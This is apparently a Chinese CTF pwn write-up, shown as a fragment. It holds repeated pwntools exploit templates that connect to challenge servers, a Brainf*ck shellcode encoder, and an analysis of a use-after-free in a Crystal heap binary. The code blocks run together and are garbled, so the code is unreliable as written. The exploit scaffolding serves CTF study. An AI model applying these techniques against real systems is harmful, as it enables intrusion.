context.os='linux' #context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) #libc = ELF('libc-2.31.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 0 if local: p = process(challenge) #p = gdb.debug(challenge, b) else: p = remote('pwn.2023.zer0pts.com','9006') defdebug(): #gdb.attach(p) gdb.attach(p,"b *$rebase(0x1410)\n") pause() defcmd(op): sla(">",str(op))
context.os='linux' #context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('lib/libc.so.6')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 1 if local: p = process(["./sandbox.py",challenge]) #p = process(challenge) #p = gdb.debug(challenge, b) else: p = remote('34.123.210.162','20234')
if __name__ == '__main__': print("Brainf*ck code: ", end="", flush=True) code = '' for _ inrange(0x8000): c = sys.stdin.read(1) if c == '\n': break code += c else: raise MemoryError("Code must be less than 0x8000 bytes.")
context.os='linux' #context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
#elf = ELF(challenge) #libc = ELF('libc-2.31.so')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 1 if local: p = process(challenge) #p = gdb.debug(challenge, b) else: p = remote('119.13.105.35','10111') defdebug(): gdb.attach(p,"") #gdb.attach(p,"b *$rebase()\n") pause() defcmd(op): sla(">",str(op))
defcshellcode(code): re = "" for i in code: re += "+"*i re += ">" return re
GNU C Library(Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
先安装必要的库:(在 Dockerfile 中看的)
1
sudo apt-get -y install libevent-dev
1 2 3 4 5 6
spy: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=90e12ec5d3d303671f6f0581af22bad63082f0e1, for GNU/Linux 3.2.0, with debug_info, not stripped Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
64位,dynamically,Full RELRO,NX,PIE
在 IDA 中发现如下字符串:
1 2
.rodata:00000000001046FC 20746F202855496E 7433+aToUint32Uint64 db ' to (UInt32 | UInt64) failed, at /home/ptr/app/crystal/share/crystal/src/exception/call_stack/d' .rodata:00000000001046FC 32207C 2055496E 743634+db 'warf.cr:56:40:56',0
1. Add new citizen /* malloc chunk */ 2. Update personal information /* edit chunk */ 3. Print list of citizen /* show chunk */ 4. Mark as spy /* store chunk */ 5. Give memorable ID to spy /* edit store chunk */ 6. Print information of spy /* show store chunk */
功能4可以将目标 chunk 的存放入栈中
漏洞点就是:放入栈中保存的数据可能因为某种原因被释放,导致 UAF
分析程序
本题目的堆风水比较复杂(crystal 应该是使用 GC 来管理堆内存)
1 2 3
id = add(b"a"*4) for i in range(3): add(chr(i+0x30)*4)
context.os='linux' #context.log_level = 'debug' if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge) libc = ELF('libc.so.6')
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) # lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr)) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 1 if local: p = process(challenge) #p = gdb.debug(challenge, b) else: p = remote('119.13.105.35','10111') defdebug(): gdb.attach(p,"") #gdb.attach(p,"b *$rebase(0x847C0)\n") pause() defcmd(op): sla(">",str(op))
defadd(name): cmd(1) sla("person:",name) ru("ID: ") id = eval(ru("\n")) returnid